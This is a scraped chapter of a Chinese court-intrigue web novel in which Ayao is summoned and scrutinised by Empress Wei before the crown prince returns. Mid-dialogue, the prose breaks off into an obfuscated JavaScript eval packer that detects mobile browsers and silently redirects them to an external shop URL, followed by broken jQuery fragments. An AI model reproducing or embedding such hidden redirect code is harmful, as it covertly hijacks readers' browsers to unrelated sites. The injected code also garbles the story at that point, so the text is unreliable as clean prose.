文趣网 > 其他小说 > 妾心杳杳 > 30. 第30章
    翌日,阿杳坐在镜前梳妆,手旁放了束新鲜的天竺葵,斜插于花瓶之中,花瓣绿叶沾有莹莹露水。

    是今日一早春桃采来的,比照着镜子,春桃从里面挑出一支蝴蝶钗为阿杳轻轻簪在头顶。

    方才膳房差人来问姑娘待会儿想用什么,得了吩咐离开没多久,便有宫女送来这些衣裳和首饰还有赏玩的物件,除了不可踏出这间屋子,在其它事情上又不敢有所怠慢。

    等了这么久,终于听得应胥的消息。

    院子里不时响起几声清亮的鸟鸣,待人都退下了,春桃笑着同阿杳道,“姑娘猜猜奴婢今早碰见了谁?是应七侍卫呢!”

    既然应七回到东宫,那太子殿下是不是也……

    想到此,阿杳眸光一亮,随即抬起头,“那殿下……”

    “这个倒是没有。”却听春桃道。

    原来应七只是奉命回来取样东西,只来得及说上几句话,人便匆匆离开。

    虽然不知应胥去了何处,猜出阿杳想问什么,春桃却是笑道:“姑娘就且安心吧,奴婢已经确认过了,最多三日,殿下定会回的,到时候看他们还敢不敢这样放肆!”

    春桃提高声量朝外面哼了声,顺势端起放置桌面的螭纹盘,其中耳饰琳琅满目,春桃简直挑花了眼,挨个在阿杳圆润的耳垂上比划,“姑娘今日想戴哪一副,这个……还是这个?”

    既然如此也就离见面不远了,身为一国之储君,想来定是事务繁忙,才没有空见她。

    阿杳轻轻舒了口气,心中的闷挫感烟消云散,默默地想,不知膳房中有没有杏仁和松子,如果要做云片糕的话,她还是去问一下才好。

    就这么办,顿时做出决定。

    蘅芜轩中安静祥和,院外却嘈杂声一片。

    宫女们三五成群的站在假山后,嘴里不停嘟囔着什么,不停向院内张望,打眼瞧见不远处的人,为首的宫女连忙出声将其唤住。

    众人也便都跑过去,屈膝行了一礼,笑着称呼那人“芸袖姐姐。”

    “有段时日没见,姐姐的气色看上去又好了许多呢,放眼整个东宫,奴婢再也找不出第二个如姐姐这般蕙质兰心的了。”像是与芸袖告状,“姐姐您是不知道,您离开这些日子,手底下那些个存心怠慢,竟连殿下的书房都疏于打理,被奴婢撞见许多次。”

    果然见芸袖停下脚步,对那宫女道:“岂是何人都能进得殿下的书房?若真依你所言,恐怕才真要好好管教管教。”

    “是,没有姐姐的吩咐我们哪里敢随便出入,也独有姐姐是个例外了,奴婢嘴笨,还望姐姐莫生嫌弃。”

    话到一半却被芸袖打断,“行了,你若有话就赶紧问。”

    宫女顿了下,“姐姐哪里的话,我们只是好奇嘛。”

    话落,立得其它几个宫女附和。

    “您就跟我们讲讲,里面那位姑娘究竟什么来头嘛,您看我们几个笨手笨脚的,若是哪里粗心大意做得有不当之处,也好及时改过啊,您说是吧。”

    赏赐在她们眼皮子底下进进出出搬去,万一人家大有来头,再将人得罪了,日后岂还有她们好果子吃,可不得上下打听仔细了。

    这才忐忑不安了一上午,芸袖一直跟在太子殿下身边,对这种事肯定知情。

    宫女满怀期待,却见芸袖只是扭头看她一眼,“原来你们也知道自己什么事都做不好,那为何一个个还愣在这里,怎么,想要偷懒?”

    突如其来的质问让宫女们愣住,心生慌乱,急着辩解,“没有,没有,我们不敢的芸袖姐姐。”

    “凉你们也没有这个本事!”芸袖身旁的琴儿朝他们冷冷哼了声,高高在上,对于此,宫女们却只能低下头。

    “可是芸袖姐姐……”为首那宫女还想说什么。

    “做好你们该做的,否则,等殿下回来,别怪我不留情面。”

    只好低头称是,注视着人就这么走远。

    “有什么可得意的,真当是自己是主子了?不也就只敢在我们面前耍耍威风。”

    “就这样的本事你也还没有呢,谁让人家身后有人护着,行了,没听见吗?该干嘛都干嘛去。”

    自觉无趣,各自散开。

    东宫大门近在眼前,芸袖提着裙摆匆匆忙忙迎上去,拉着常嬷嬷问,“嬷嬷怎么来了,若有什么事何不派人通知一声,何苦劳累亲自跑这一趟。”

    来者不是旁人,正是侍奉在卫皇后身边的常嬷嬷,见芸袖跑得上气不接下气,当即斥责:“慌慌张张的成何体统?又不是会突然扭头跑了,瞧瞧你,哪里有个一等宫女的样子。”

    芸袖低着头不说话,要请常嬷嬷入内喝茶,却被拒绝,看起来似乎有事情要说的模样,“太子殿下尚未回宫,不知嬷嬷此时前来……”

    “你说呢,若是其它的事也便罢了,是皇后娘娘的吩咐。”

    “皇后娘娘?”

    芸袖满心疑惑,下一刻,却听常嬷嬷肃色对她道:“你现在就去,叫了那位姑娘出来,同我去栖华宫走一趟。”

    璃萱宫。

    宝殿内美人摇着一柄缂丝扇,跪在脚下的宫人垂首正用碾出汁水的花瓣为阮贵妃描染着丹蔻,滴落一滴至桌面,用帕子立即擦去。

    “娘娘。”一名上了年岁的宫女快步走进殿内,对阮贵妃禀,“方才常嬷嬷带着人往东宫去了。”

    阮贵妃睁开眼,视线慢悠悠移开,“东宫?太子现在人又不在,那个老女人这时候去那做什么?”

    嬷嬷道:“许是因着最近宫中谣传那事?”

    太子殿下带了位女子归京的事,现如今在阖宫上下可谓几乎传遍了。

    “什么谣传,这种鬼话嬷嬷也信?他堂堂一介太子殿下,若是不做,哪里又敢传出这种风声?一个个脑袋不想要了?依本宫看,此事十有八九就是真的。”阮贵妃摇扇的动作渐渐慢下。

    想了想,问嬷嬷,“如何了,芙儿现在还是不肯用膳么?”

    嬷嬷点头,叹了口气,“想是公主殿下年岁尚浅,耳根子又轻,从旁人嘴里听了几句,因而才误会了娘娘。”

    “罢了,罢了,随她去,本宫倒要看看她究竟能够坚持得了几日。”阮贵妃怒火中烧,烦忧地撂下扇子,命宫人全部退下。

    栖华宫中,阿杳等待卫皇后多时。

    终见常嬷嬷从内殿出来,对她道:“阿杳姑娘,里面请吧,皇后娘娘请姑娘上前说话。”

    殿内坐着个仪容华贵的女子,发间那支九凤衔珠点翠朝阳簪彰显她的身份。

    看来这位便是卫皇后了。

    阿杳心中如此想,上前一步,“奴婢参见皇后娘娘,皇后娘娘万福金安。”

    半个时辰前,芸袖忽然入内告诉她皇后娘娘此刻正在栖华宫中,并下旨命她前去。

    自知推脱不得,早就想过会有这么一日,心中讶异竟然过了这么久才会被召见。

    阿杳跪在地面,许久未听前方传来回音。

    久到阿杳膝盖传来轻微痛意,终听卫皇后开口。

    “起来吧。”<

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17772826|205199||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    /p>

    纵然只有短短三个字,仍让人无法违背,得按照她的意愿去做,阿杳闻言起身,暗中悄悄用力才不至于跌跪在地,显得那般狼狈。

    卫皇后终于舍得抬起头,朝阿杳瞥去一眼,只一瞬,眸光葛然顿住,“慢着。”

    冷冷的质问声于大殿中突然响起。

    卫皇后的声音落在头顶,一寸寸碾入耳内,“你头上戴的那是什么?!”

    阿杳垂下眼,“回皇后娘娘的话,是蝴蝶簪。”

    裙摆出现在眼前,常嬷嬷抬起手,就在阿杳以为簪子会被拔掉刹那。

    “算了。”卫皇后突然开口。命常嬷嬷退下,却是看着阿杳道:“想你此举也是无心之失,不过今日恰好戴了罢,不似那些宫人惯会招蜂引蝶。”

    “好了,上前来吧,让本宫好生瞧瞧。”

    在旁边的位子上坐下,面前倒来一盏茶,阿杳听见卫皇后问她的名字。

    卫皇后重复了遍。

    “是。”极力忽略那些无法言说的不适之感,阿杳又问,“皇后娘娘有何吩咐。”

    卫皇后笑了下,命阿杳抬头,没有理由拒绝,于是阿杳照做。

    耳边是卫皇后的喟叹,“果真是好颜色,不怪我那皇儿这般喜欢,若换作本宫身为名男子,有这么个美人伴在身边,怕是也要将魂魄勾了去。”

    语调慈爱,至少听起来是这样。

    像是一种赞美,不知道卫皇后为什要这样说,可阿杳不会蠢到拿这种欺骗的话语来安慰自己。

    下意识的感觉骗不了人,阿杳垂下眼帘,似乎极为羞涩咬住唇瓣:“谢皇后娘娘夸赞。”

    卫皇后神色未变,甚至拉起阿杳的手,如同一介慈母般以表欣慰,忽然一名宫女慌慌张张跑进殿内。

    阿杳跟着看去,卫皇后问,“出什么事了?”

    “启禀娘娘,是贵妃娘娘正在殿外,想要……给娘娘请安。”宫女低着头。

    “妾身参见皇后娘娘。”阮贵妃进到殿内,不动声色将四周很快巡视一圈,殿内除了卫皇后和侍奉的宫女,未见其它人身影。

    卫皇后眼睛抬也不抬,桌面上是未下完的棋局,两种棋子皆在一侧,“阮贵妃此刻前来,所谓何事?”

    “当然是来给姐姐请安的。”

    “既如此,那便请吧。”

    到底为何两人皆是心照不宣。

    “姐姐是在开玩笑吧。”阮贵妃刚要上前,被面前的常嬷嬷拦住。

    “贵妃娘娘糊涂了,我们娘娘并无什么姐妹。”

    “是妾身逾矩了,皇后娘娘教训的是。”阮贵妃立即退后朝卫皇后屈膝,小心翼翼道,“其实妾身此次过来是有样东西要拿给娘娘过目的,太医院调制的香料,听闻皇后娘娘近日心神不宁,不知好了些没有,妾身实在担忧,便自作主张拿了些来。”

    “你倒是有心了。”

    ……

    若不是阮贵妃突然到来,按着方才那场景,还不知要在栖华宫再待多久,可真是可怕,春桃在心中默默想。

    阿杳是从另一侧离开的栖华宫,出了门就看见等在角落的芸袖,待回到蘅芜轩,已是傍晚。

    踏入蘅芜轩,院内安静异常。

    阿杳想到什么,一颗心砰砰跳动,滞了片刻,视线一点点往上,抬起头,就看见站在屋内的男人。

    春桃同样瞧见,兴奋的声音响在耳边,“姑娘您瞧,是殿下!”

    阿杳自然瞧见,明明还没反应过来,脚下却已经快步朝屋内跑去。